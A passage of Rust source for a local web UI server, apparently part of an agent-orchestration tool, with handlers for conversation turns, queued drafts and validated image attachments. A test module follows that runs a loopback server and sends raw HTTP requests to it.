5931
5932 let talks = ui.talks.clone();
5933 let (tx, rx) = tokio::sync::oneshot::channel();
5948 tokio::spawn({
5949 let ui = Arc::clone(&ui);
5950 let talks = talks.clone();
5951 let id = id.clone();
5952 let said = body.text.clone();
5953 let mut talk = talk.clone();
5954 async move {
5955 let recorded = blocking({
5956 let talks = talks.clone();
5957 move || {
5958 if let Err(error) = talk::record(&mut talk, &talks, &said, attachments) {
5959 if let Ok(fresh) = talks.get(&talk.id) {
5960 if !fresh.status.open() {
5961 return Err(ApiError::conflict(format!(
5962 "talk {} is {} and takes no more turns",
5963 fresh.short(),
5964 fresh.status.as_str()
5965 )));
5966 }
5967 }
5968 return Err(ApiError::from(error));
5969 }
5970 Ok((said.trim().to_owned(), talk))
5976 }
5977 })
5978 .await;
5979 let (text, mut talk) = match recorded {
5980 Ok(pair) => pair,
5981 Err(e) => {
5982 let _ = tx.send(Err(e));
5986 return;
5987 }
5988 };
5989 let queued = talk.clone();
5990 let thinking = ui.is_thinking(&id);
5991 let _ = tx.send(Ok((queued, thinking)));
5994
5995 if let Err(e) = talk::respond(&mut talk, &talks, &cfg, &text).await {
5996 tracing::warn!("talk {id} turn failed: {e:#}");
6000 }
6001 drain_loop(talk, talks, cfg, id, turn_guard).await;
6004 }
6005 });
6006
6007 let (queued, thinking) = rx
6008 .await
6009 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
6010
6011 Ok((StatusCode::ACCEPTED, Json(TalkView::new(queued, thinking))))
6013}
6014
6015async fn talk_pending_resume(
6019 State(ui): State<Arc<Ui>>,
6020 Path(id): Path<String>,
6021) -> ApiResult<(StatusCode, Json<TalkView>)> {
6022 let id = {
6023 let ui = Arc::clone(&ui);
6024 let asked = id.clone();
6025 blocking(move || resolve_talk(&ui.talks, &asked)).await?
6026 };
6027 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
6028 return Err(ApiError::conflict(
6029 "a talk turn is already running; the queued draft will be handled by it",
6030 ));
6031 };
6032 let (talk, cfg) = {
6033 let ui = Arc::clone(&ui);
6034 let id = id.clone();
6035 blocking(move || {
6036 let talk = ui.talks.get(&id)?;
6037 if !talk.status.open() {
6038 return Err(ApiError::conflict(format!(
6039 "talk {} is {} and takes no more turns",
6040 talk.short(),
6041 talk.status.as_str()
6042 )));
6043 }
6044 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
6045 return Err(ApiError::conflict("there is no queued draft to resume"));
6046 }
6047 let (cfg, _) = Config::discover(&talk.repo, None)?;
6048 Ok((talk, cfg))
6049 })
6050 .await?
6051 };
6052 let view = TalkView::new(talk.clone(), true);
6053 let talks = ui.talks.clone();
6054 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6055 Ok((StatusCode::ACCEPTED, Json(view)))
6056}
6057
6058async fn drain_loop(mut talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
6074 let live_set = Arc::clone(&turn.turns);
6075 let mut turn = Some(turn);
6083 loop {
6084 let observed = live_set
6088 .lock()
6089 .unwrap_or_else(PoisonError::into_inner)
6090 .queued
6091 .get(&id)
6092 .copied()
6093 .unwrap_or(0);
6094 let drained = blocking({
6095 let talks = talks.clone();
6096 move || {
6097 let result = talk::drain(&mut talk, &talks);
6098 Ok((talk, result))
6099 }
6100 })
6101 .await;
6102 let (next_talk, result) = match drained {
6103 Ok(drained) => drained,
6104 Err(e) => {
6105 tracing::warn!(
6106 status = %e.status,
6107 message = %e.message,
6108 "talk {id} could not start queued-text drain"
6109 );
6110 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6111 turn.take()
6112 .expect("held for the whole loop until released here")
6113 .release(&mut live);
6114 break;
6115 }
6116 };
6117 talk = next_talk;
6118 let drained = match result {
6119 Ok(Some(drained)) => drained,
6120 Ok(None) => {
6121 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6122 if live.queued.get(&id).copied().unwrap_or(0) != observed {
6123 continue;
6124 }
6125 turn.take()
6126 .expect("held for the whole loop until released here")
6127 .release(&mut live);
6128 break;
6129 }
6130 Err(e) => {
6131 tracing::warn!("talk {id} could not drain queued text: {e:#}");
6132 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6133 turn.take()
6134 .expect("held for the whole loop until released here")
6135 .release(&mut live);
6136 break;
6137 }
6138 };
6139 if let Err(e) = talk::respond(&mut talk, &talks, &cfg, &drained).await {
6140 tracing::warn!("talk {id} turn failed: {e:#}");
6141 }
6142 }
6143}
6144
6145async fn talk_pending_clear(
6147 State(ui): State<Arc<Ui>>,
6148 Path(id): Path<String>,
6149 body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
6150) -> ApiResult<Json<TalkView>> {
6151 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6152 blocking(move || {
6153 let id = resolve_talk(&ui.talks, &id)?;
6154 let mut talk = ui.talks.get(&id)?;
6155 if !talk.status.open() {
6156 return Err(ApiError::conflict(format!(
6157 "talk {} is {} and takes no more turns",
6158 talk.short(),
6159 talk.status.as_str()
6160 )));
6161 }
6162 if !talk::clear_pending_if_matches(
6163 &mut talk,
6164 &ui.talks,
6165 &body.expected_text,
6166 &body.expected_attachments,
6167 )? {
6168 return Err(ApiError::conflict(
6169 "queued message changed; reload it before clearing",
6170 ));
6171 }
6172 let thinking = ui.is_thinking(&talk.id);
6173 Ok(Json(TalkView::new(talk, thinking)))
6174 })
6175 .await
6176}
6177
6178async fn talk_pending_edit(
6182 State(ui): State<Arc<Ui>>,
6183 Path(id): Path<String>,
6184 body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
6185) -> ApiResult<Json<TalkView>> {
6186 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6187 let (view, reclaimed) = blocking({
6188 let ui = Arc::clone(&ui);
6189 move || {
6190 let id = resolve_talk(&ui.talks, &id)?;
6191 let mut talk = ui.talks.get(&id)?;
6192 if !talk.status.open() {
6193 return Err(ApiError::conflict(format!(
6194 "talk {} is {} and takes no more turns",
6195 talk.short(),
6196 talk.status.as_str()
6197 )));
6198 }
6199 if !talk::edit_pending_text(
6200 &mut talk,
6201 &ui.talks,
6202 &body.text,
6203 &body.expected_text,
6204 &body.expected_attachments,
6205 )? {
6206 return Err(ApiError::conflict(
6207 "queued message changed; reload it before editing",
6208 ));
6209 }
6210 let claim = match ui.begin_queued_talk_turn(&id)? {
6211 Some(turn_guard) => {
6212 let (cfg, _) = Config::discover(&talk.repo, None)?;
6213 Some((talk.clone(), cfg, id.clone(), turn_guard))
6214 }
6215 None => None,
6216 };
6217 let thinking = ui.is_thinking(&id);
6218 Ok((TalkView::new(talk, thinking), claim))
6219 }
6220 })
6221 .await?;
6222 if let Some((talk, cfg, id, turn_guard)) = reclaimed {
6223 let talks = ui.talks.clone();
6224 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6225 }
6226 Ok(Json(view))
6227}
6228
6229#[derive(Debug, Deserialize)]
6231struct TalkAgent {
6232 agent: String,
6233}
6234
6235async fn talk_agent(
6240 State(ui): State<Arc<Ui>>,
6241 Path(id): Path<String>,
6242 Json(body): Json<TalkAgent>,
6243) -> ApiResult<Json<TalkView>> {
6244 let id = {
6245 let ui = Arc::clone(&ui);
6246 blocking(move || resolve_talk(&ui.talks, &id)).await?
6247 };
6248 let repo = {
6249 let ui = Arc::clone(&ui);
6250 let id = id.clone();
6251 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
6252 };
6253 let cfg = config_for(&repo).await?;
6254 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
6255 return Err(ApiError::conflict(
6256 "a talk turn is running; change the agent once it has answered",
6257 ));
6258 };
6259 let switched = {
6260 let ui = Arc::clone(&ui);
6261 let id = id.clone();
6262 let cfg = cfg.clone();
6263 blocking(move || {
6264 let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
6265 .map_err(ApiError::bad_request_from)?;
6266 let mut talk = ui.talks.get(&id)?;
6267 if !talk.status.open() {
6268 return Err(ApiError::conflict(format!(
6269 "talk {} is {} and takes no more turns",
6270 talk.short(),
6271 talk.status.as_str()
6272 )));
6273 }
6274 talk::switch_agent(&mut talk, &ui.talks, &spec)?;
6275 Ok(talk)
6276 })
6277 .await
6278 };
6279 let fresh = {
6284 let ui = Arc::clone(&ui);
6285 let id = id.clone();
6286 blocking(move || Ok(ui.talks.get(&id)?)).await
6287 };
6288 let draining = match fresh {
6289 Ok(talk) => {
6290 let draining = talk.status.open()
6291 && (!talk.pending.is_empty() || !talk.pending_attachments.is_empty());
6292 let talks = ui.talks.clone();
6293 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6294 draining
6295 }
6296 Err(_) => false,
6297 };
6298 let talk = switched?;
6299 Ok(Json(TalkView::new(talk, draining)))
6300}
6301
6302async fn talk_close(
6304 State(ui): State<Arc<Ui>>,
6305 Path(id): Path<String>,
6306) -> ApiResult<Json<TalkView>> {
6307 blocking(move || {
6308 let id = resolve_talk(&ui.talks, &id)?;
6309 let mut talk = ui.talks.get(&id)?;
6310 talk::close(&mut talk, &ui.talks)?;
6311 let thinking = ui.is_thinking(&talk.id);
6312 Ok(Json(TalkView::new(talk, thinking)))
6313 })
6314 .await
6315}
6316
6317async fn talk_reopen(
6319 State(ui): State<Arc<Ui>>,
6320 Path(id): Path<String>,
6321) -> ApiResult<Json<TalkView>> {
6322 blocking(move || {
6323 let id = resolve_talk(&ui.talks, &id)?;
6324 let mut talk = ui.talks.get(&id)?;
6325 talk::reopen(&mut talk, &ui.talks)?;
6326 let thinking = ui.is_thinking(&talk.id);
6327 Ok(Json(TalkView::new(talk, thinking)))
6328 })
6329 .await
6330}
6331
6332async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
6342 blocking(move || {
6343 let id = resolve_talk(&ui.talks, &id)?;
6344 ui.talks.remove(&id)?;
6345 Ok(StatusCode::NO_CONTENT)
6346 })
6347 .await
6348}
6349
6350fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
6352 pick(store.list().into_iter().map(|t| t.id).collect(), id, "talk")
6353}
6354
6355async fn talk_attachment_post(
6358 State(ui): State<Arc<Ui>>,
6359 Path(id): Path<String>,
6360 headers: HeaderMap,
6361 body: Bytes,
6362) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
6363 let mime = validate_attachment(&headers, &body)?;
6364 let name = filename_header(&headers);
6365 let data = body.to_vec();
6366 blocking(move || {
6367 let id = resolve_talk(&ui.talks, &id)?;
6368 let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
6369 Ok((StatusCode::CREATED, Json(att)))
6370 })
6371 .await
6372}
6373
6374async fn talk_attachment_get(
6377 State(ui): State<Arc<Ui>>,
6378 Path((id, att)): Path<(String, String)>,
6379) -> ApiResult<Response> {
6380 blocking(move || {
6381 let id = resolve_talk(&ui.talks, &id)?;
6382 let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
6383 return Err(ApiError::not_found(format!(
6384 "talk {id} has no attachment `{att}`"
6385 )));
6386 };
6387 Ok(attachment_response(&meta.mime, data))
6388 })
6389 .await
6390}
6391
6392fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
6403 if data.len() > ATTACHMENT_MAX_BYTES {
6404 return Err(ApiError::bad_request(format!(
6405 "attachment is {} bytes, over the {} MiB limit",
6406 data.len(),
6407 ATTACHMENT_MAX_BYTES / (1024 * 1024)
6408 ))
6409 .with_status(StatusCode::PAYLOAD_TOO_LARGE));
6410 }
6411 if data.is_empty() {
6412 return Err(ApiError::bad_request("attachment is empty"));
6413 }
6414 let declared = declared_mime(headers)?;
6415 match sniffed_mime(data) {
6416 Some(sniffed) if sniffed == declared => Ok(declared),
6417 Some(sniffed) => Err(ApiError::bad_request(format!(
6418 "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
6419 ))),
6420 None => Err(ApiError::bad_request(
6421 "the file's bytes do not match any accepted image format",
6422 )),
6423 }
6424}
6425
6426fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
6430 let raw = headers
6431 .get(header::CONTENT_TYPE)
6432 .and_then(|v| v.to_str().ok())
6433 .unwrap_or("")
6434 .split(';')
6435 .next()
6436 .unwrap_or("")
6437 .trim()
6438 .to_ascii_lowercase();
6439 ATTACHMENT_MIME_WHITELIST
6440 .iter()
6441 .find(|&&m| m == raw)
6442 .copied()
6443 .ok_or_else(|| {
6444 if raw == "image/svg+xml" {
6445 ApiError::bad_request(
6446 "SVG is not accepted: it can carry active content (e.g. a <script>), \
6447 not just a picture",
6448 )
6449 } else if raw.is_empty() {
6450 ApiError::bad_request("Content-Type is required for an attachment upload")
6451 } else {
6452 ApiError::bad_request(format!(
6453 "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
6454 image/gif or image/webp"
6455 ))
6456 }
6457 })
6458}
6459
6460fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
6463 if data.starts_with(b"\x89PNG\r\n\x1a\n") {
6464 Some("image/png")
6465 } else if data.starts_with(b"\xff\xd8\xff") {
6466 Some("image/jpeg")
6467 } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
6468 Some("image/gif")
6469 } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
6470 Some("image/webp")
6471 } else {
6472 None
6473 }
6474}
6475
6476fn filename_header(headers: &HeaderMap) -> String {
6482 headers
6483 .get(FILENAME_HEADER)
6484 .and_then(|v| v.to_str().ok())
6485 .map(str::trim)
6486 .filter(|s| !s.is_empty())
6487 .unwrap_or("attachment")
6488 .to_owned()
6489}
6490
6491fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
6498 let content_type = ATTACHMENT_MIME_WHITELIST
6499 .iter()
6500 .find(|&&m| m == mime)
6501 .copied()
6502 .unwrap_or("application/octet-stream");
6503 (
6504 [
6505 (header::CONTENT_TYPE, content_type),
6506 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
6507 ],
6508 body,
6509 )
6510 .into_response()
6511}
6512
6513async fn config_for(repo: &FsPath) -> ApiResult<Config> {
6521 let repo = repo.to_path_buf();
6522 blocking(move || {
6523 let (cfg, _) = Config::discover(&repo, None)?;
6524 Ok(cfg)
6525 })
6526 .await
6527}
6528
6529fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
6535 let mut hits = ids
6536 .into_iter()
6537 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
6538 match (hits.next(), hits.next()) {
6539 (Some(one), None) => Ok(one),
6540 (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
6541 (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
6542 "`{prefix}` matches more than one {what}, including {a} and {b}"
6543 ))),
6544 }
6545}
6546
6547#[cfg(test)]
6548mod tests {
6549
6550 #[test]
6551 fn holder_reads_the_lease_not_the_record() {
6552 let mut q = Question::new(
6553 "run".to_owned(),
6554 "implement".to_owned(),
6555 "impl-A".to_owned(),
6556 "which?".to_owned(),
6557 String::new(),
6558 Vec::new(),
6559 );
6560 assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
6561 q.cwd = Some("/tmp".to_owned());
6562 assert_eq!(holder_of(&q, None), Some("nobody"));
6563 let beat = |kind, ago: i64| ask::Lease {
6564 kind,
6565 pid: 1,
6566 beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
6567 .unwrap(),
6568 };
6569 let fresh = beat(ask::WaiterKind::Asker, 1);
6570 assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
6571 let daemon = beat(ask::WaiterKind::Daemon, 1);
6572 assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
6573 let stale = beat(ask::WaiterKind::Asker, 3600);
6574 assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
6575
6576 let mut c = Question::new(
6579 "task".to_owned(),
6580 crate::conduct::NODE.to_owned(),
6581 "conduct".to_owned(),
6582 "which?".to_owned(),
6583 String::new(),
6584 Vec::new(),
6585 );
6586 assert_eq!(holder_of(&c, None), Some("nobody"));
6587 c.cwd = Some("/tmp".to_owned());
6588 c.deputy = Some(ask::Deputy::new("brief".to_owned()));
6589 assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
6590 let deputy = beat(ask::WaiterKind::Deputy, 1);
6591 assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
6592 assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
6593
6594 let mut r = Question::new(
6596 String::new(),
6597 crate::bump::NOTICE_NODE.to_owned(),
6598 "release-watch".to_owned(),
6599 "stuck?".to_owned(),
6600 String::new(),
6601 vec!["hold".to_owned()],
6602 );
6603 assert_eq!(holder_of(&r, None), Some("nobody"));
6604 r.deputy = Some(ask::Deputy::new("brief".to_owned()));
6605 assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
6606 r.deputy = None;
6608 r.seat = "bump".to_owned();
6609 assert_eq!(holder_of(&r, None), None);
6610
6611 let mut m = Question::new(
6614 "run".to_owned(),
6615 crate::land::APPROVAL_NODE.to_owned(),
6616 "land".to_owned(),
6617 "merge?".to_owned(),
6618 String::new(),
6619 Vec::new(),
6620 );
6621 assert_eq!(holder_of(&m, None), Some("nobody"));
6622 assert_eq!(
6623 holder_of(&m, Some(&fresh)),
6624 Some("nobody"),
6625 "a lease with no deputy is not a listener"
6626 );
6627 m.deputy = Some(ask::Deputy::new("brief".to_owned()));
6628 assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
6629 assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
6630 assert_eq!(holder_of(&m, None), Some("nobody"));
6631 }
6632
6633 fn stub_config() -> Config {
6634 Config {
6637 agents: vec![crate::config::AgentSpec {
6638 id: "stub".to_owned(),
6639 kind: AgentKind::Command,
6640 model: None,
6641 command: vec!["true".to_owned()],
6642 extra_args: Vec::new(),
6643 env: Default::default(),
6644 prompt_delivery: None,
6645 }],
6646 ..Config::default()
6647 }
6648 }
6649
6650 fn plain_question(seat: &str) -> Question {
6651 Question::new(
6652 String::new(),
6653 "n".to_owned(),
6654 seat.to_owned(),
6655 "s".to_owned(),
6656 String::new(),
6657 Vec::new(),
6658 )
6659 }
6660
6661 #[test]
6662 fn deputies_enabled_follows_the_config() {
6663 let on = stub_config();
6664 assert!(crate::deputy::can_start(Some(&on), ""));
6665 assert!(crate::deputy::can_start(Some(&on), "stub"));
6666 let mut off = on.clone();
6667 off.daemon.max_deputies = 0;
6668 assert!(!crate::deputy::can_start(Some(&off), ""));
6669 let mut empty = on;
6670 empty.agents.clear();
6671 assert!(!crate::deputy::can_start(Some(&empty), ""));
6672 assert!(!crate::deputy::can_start(None, ""));
6673 }
6674
6675 #[test]
6676 fn question_views_load_the_config_once() {
6677 let dir = TempDir::new().unwrap();
6678 let store = ask::Questions::at(dir.path().to_path_buf());
6679 let mut with_deputy = plain_question("b");
6680 with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
6681 let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
6682
6683 let calls = std::cell::Cell::new(0usize);
6684 let views = question_views(qs.clone(), &store, || {
6685 calls.set(calls.get() + 1);
6686 Some(stub_config())
6687 });
6688 assert_eq!(calls.get(), 1);
6689 assert_eq!(views.len(), 3);
6690 for (v, q) in views.iter().zip(&qs) {
6691 assert_eq!(
6692 v.deputies_enabled,
6693 crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
6694 );
6695 }
6696
6697 let views = question_views(qs, &store, || None);
6698 assert!(views.iter().all(|v| !v.deputies_enabled));
6699
6700 let calls = std::cell::Cell::new(0usize);
6701 let views = question_views(Vec::new(), &store, || {
6702 calls.set(calls.get() + 1);
6703 None
6704 });
6705 assert!(views.is_empty());
6706 assert_eq!(calls.get(), 0);
6707 }
6708
6709 use pretty_assertions::assert_eq;
6710 use serde_json::Value;
6711 use tempfile::TempDir;
6712 use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
6713
6714 use super::*;
6715 use crate::config::Config;
6716 use crate::queue::Source;
6717
6718 const SETTLE_STEPS: usize = 3_000;
6729
6730 struct Fixture {
6736 home: TempDir,
6737 addr: SocketAddr,
6738 }
6739
6740 impl Fixture {
6741 async fn start() -> Self {
6742 Self::with_loop(launch_idle).await
6743 }
6744
6745 async fn with_loop(launch: Launch) -> Self {
6747 let home = TempDir::new().expect("temp home");
6748 let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
6749 Self { home, addr }
6750 }
6751
6752 async fn with_repo(repo: PathBuf) -> Self {
6756 let home = TempDir::new().expect("temp home");
6757 let addr = Self::serve(home.path(), repo, launch_idle, None).await;
6758 Self { home, addr }
6759 }
6760
6761 async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
6764 let home = TempDir::new().expect("temp home");
6765 let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
6766 Self { home, addr }
6767 }
6768
6769 async fn serve(
6770 home: &FsPath,
6771 repo: PathBuf,
6772 launch: Launch,
6773 machine: Option<PathBuf>,
6774 ) -> SocketAddr {
6775 let queue = Queue::at(home.join("queue"));
6776 let runs = home.join("runs");
6777 std::fs::create_dir_all(&runs).expect("runs dir");
6778 let worktrees = home.join("wt").join("magi");
6779 std::fs::create_dir_all(&worktrees).expect("worktrees dir");
6780 let ui = Ui::new(
6781 queue,
6782 Questions::at(home.join("questions")),
6783 Talks::at(home.join("talks")),
6784 runs,
6785 home.to_path_buf(),
6786 repo,
6787 )
6788 .with_worktrees_root(worktrees)
6789 .with_machine_config(machine)
6790 .with_launch(launch);
6791 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
6792 .await
6793 .expect("bind loopback");
6794 let addr = listener.local_addr().expect("local addr");
6795 tokio::spawn(async move {
6796 let _ = axum::serve(listener, ui.router()).await;
6797 });
6798 addr
6799 }
6800
6801 fn queue(&self) -> Queue {
6802 Queue::at(self.home.path().join("queue"))
6803 }
6804
6805 fn questions(&self) -> Questions {
6806 Questions::at(self.home.path().join("questions"))
6807 }
6808
6809 fn talks(&self) -> Talks {
6810 Talks::at(self.home.path().join("talks"))
6811 }
6812
6813 fn runs(&self) -> PathBuf {
6814 self.home.path().join("runs")
6815 }
6816
6817 async fn get(&self, path: &str) -> Res {
6818 request(self.addr, "GET", path, None).await
6819 }
6820
6821 async fn head(&self, path: &str) -> Res {
6826 request(self.addr, "HEAD", path, None).await
6827 }
6828
6829 async fn post(&self, path: &str, body: Option<&str>) -> Res {
6830 request(self.addr, "POST", path, body).await
6831 }
6832
6833 async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
6834 request_with(self.addr, "GET", path, None, extra).await
6835 }
6836
6837 async fn delete(&self, path: &str) -> Res {
6838 request(self.addr, "DELETE", path, None).await
6839 }
6840
6841 async fn put(&self, path: &str, body: &str) -> Res {
6842 request(self.addr, "PUT", path, Some(body)).await
6843 }
6844
6845 async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
6847 request_bytes(self.addr, path, headers, body).await
6848 }
6849 }
6850
6851 struct Res {
6852 status: u16,
6853 headers: String,
6854 head: String,
6859 body: String,
6860 bytes: Vec<u8>,
6864 }
6865
6866 impl Res {
6867 fn json(&self) -> Value {
6868 serde_json::from_str(&self.body)
6869 .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
6870 }
6871
6872 fn header(&self, name: &str) -> Option<&str> {
6874 self.head.lines().find_map(|line| {
6875 let (key, value) = line.split_once(':')?;
6876 key.trim()
6877 .eq_ignore_ascii_case(name)
6878 .then(|| value.trim_start().trim_end_matches('\r'))
6879 })
6880 }
6881 }
6882
6883 async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
6886 request_with(addr, method, path, body, &[]).await
6887 }
6888
6889 async fn request_with(
6893 addr: SocketAddr,
6894 method: &str,
6895 path: &str,
6896 body: Option<&str>,
6897 extra: &[(&str, &str)],
6898 ) -> Res {
6899 let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
6900 for (name, value) in extra {
6901 head.push_str(&format!("{name}: {value}\r\n"));
6902 }
6903 if let Some(body) = body {
6904 head.push_str("Content-Type: application/json\r\n");
6905 head.push_str(&format!("Content-Length: {}\r\n", body.len()));
6906 }
6907 head.push_str("\r\n");
6908 if let Some(body) = body {
6909 head.push_str(body);
6910 }
6911 let mut socket = tokio::net::TcpStream::connect(addr)
6912 .await
6913 .expect("connect to the test server");
6914 socket
6915 .write_all(head.as_bytes())
6916 .await
6917 .expect("write request");
6918 let mut raw = Vec::new();
6919 socket.read_to_end(&mut raw).await.expect("read response");
6920 let split = raw
6923 .windows(4)
6924 .position(|w| w == b"\r\n\r\n")
6925 .expect("a header block");
6926 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
6927 let bytes = raw[split + 4..].to_vec();
6928 let status = head
6929 .lines()
6930 .next()
6931 .and_then(|line| line.split_whitespace().nth(1))
6932 .and_then(|code| code.parse().ok())
6933 .expect("a status line");
6934 Res {
6935 status,
6936 headers: head.to_lowercase(),
6937 head,
6938 body: String::from_utf8_lossy(&bytes).into_owned(),
6939 bytes,
6940 }
6941 }
6942
6943 async fn request_bytes(
6949 addr: SocketAddr,
6950 path: &str,
6951 headers: &[(&str, &str)],
6952 body: &[u8],
6953 ) -> Res {
6954 let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
6955 for (name, value) in headers {
6956 head.push_str(&format!("{name}: {value}\r\n"));
6957 }
6958 head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
6959 let mut socket = tokio::net::TcpStream::connect(addr)
6960 .await
6961 .expect("connect to the test server");
6962 socket
6963 .write_all(head.as_bytes())
6964 .await
6965 .expect("write request head");
6966 socket.write_all(body).await.expect("write request body");
6967 let mut raw = Vec::new();
6968 socket.read_to_end(&mut raw).await.expect("read response");
6969 let split = raw
6970 .windows(4)
6971 .position(|w| w == b"\r\n\r\n")
6972 .expect("a header block");
6973 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
6974 let bytes = raw[split + 4..].to_vec();
6975 let status = head
6976 .lines()
6977 .next()
6978 .and_then(|line| line.split_whitespace().nth(1))
6979 .and_then(|code| code.parse().ok())
6980 .expect("a status line");
6981 Res {
6982 status,
6983 headers: head.to_lowercase(),
6984 head,
6985 body: String::from_utf8_lossy(&bytes).into_owned(),
6986 bytes,
6987 }
6988 }
6989
6990 fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
6992 let mut state = RunState::new(
6993 PathBuf::from("/repo/magi"),
6994 "main".to_owned(),
6995 "0123456789abcdef".to_owned(),
6996 "Add a web UI\n\nMobile first.".to_owned(),
6997 Config::default(),
6998 );
6999 state.id = id.to_owned();
7000 state.status = status;
7001 let dir = runs.join(id);
7002 std::fs::create_dir_all(&dir).expect("run dir");
7003 std::fs::write(
7004 dir.join("run.json"),
7005 serde_json::to_string_pretty(&state).expect("serialize run"),
7006 )
7007 .expect("write run.json");
7008 }
7009
7010 fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
7014 let mut state = RunState::new(
7015 PathBuf::from(repo),
7016 "main".to_owned(),
7017 "0123456789abcdef".to_owned(),
7018 "task".to_owned(),
7019 Config::default(),
7020 );
7021 state.id = id.to_owned();
7022 state.status = status;
7023 let dir = runs.join(id);
7024 std::fs::create_dir_all(&dir).expect("run dir");
7025 std::fs::write(
7026 dir.join("run.json"),
7027 serde_json::to_string_pretty(&state).expect("serialize run"),
7028 )
7029 .expect("write run.json");
7030 }
7031
7032 fn write_daemon(home: &FsPath, updated_at: Timestamp) {
7033 let body = serde_json::json!({
7034 "schema": 1,
7035 "pid": 4242,
7036 "started_at": Timestamp::now().to_string(),
7037 "updated_at": updated_at.to_string(),
7038 "idle": false,
7039 "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
7040 "completed": 7,
7041 "polls": 143,
7042 });
7043 std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
7044 }
7045
7046 fn launch_idle(
7056 _opts: daemon::Opts,
7057 stop: daemon::Stop,
7058 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
7059 Box::pin(async move {
7060 while !stop.stopped() {
7061 tokio::time::sleep(Duration::from_millis(2)).await;
7062 }
7063 Ok(())
7064 })
7065 }
7066
7067 fn launch_broken(
7070 _opts: daemon::Opts,
7071 _stop: daemon::Stop,
7072 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
7073 Box::pin(async {
7074 Err(anyhow::anyhow!(
7075 "publish the daemon status file: read-only file system"
7076 ))
7077 })
7078 }
7079
7080 static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
7087 static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
7088
7089 fn launch_knocking_on_the_way_out(
7096 _opts: daemon::Opts,
7097 stop: daemon::Stop,
7098 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
7099 Box::pin(async move {
7100 while !stop.stopped() {
7101 tokio::time::sleep(Duration::from_millis(2)).await;
7102 }
7103 let addr = PARK_KNOCK
7104 .lock()
7105 .expect("park knock")
7106 .expect("the test set an address");
7107 let heard = request(addr, "GET", "/api/health", None).await.status;
7108 *PARK_HEARD.lock().expect("park heard") = Some(heard);
7109 Ok(())
7110 })
7111 }
7112
7113 async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
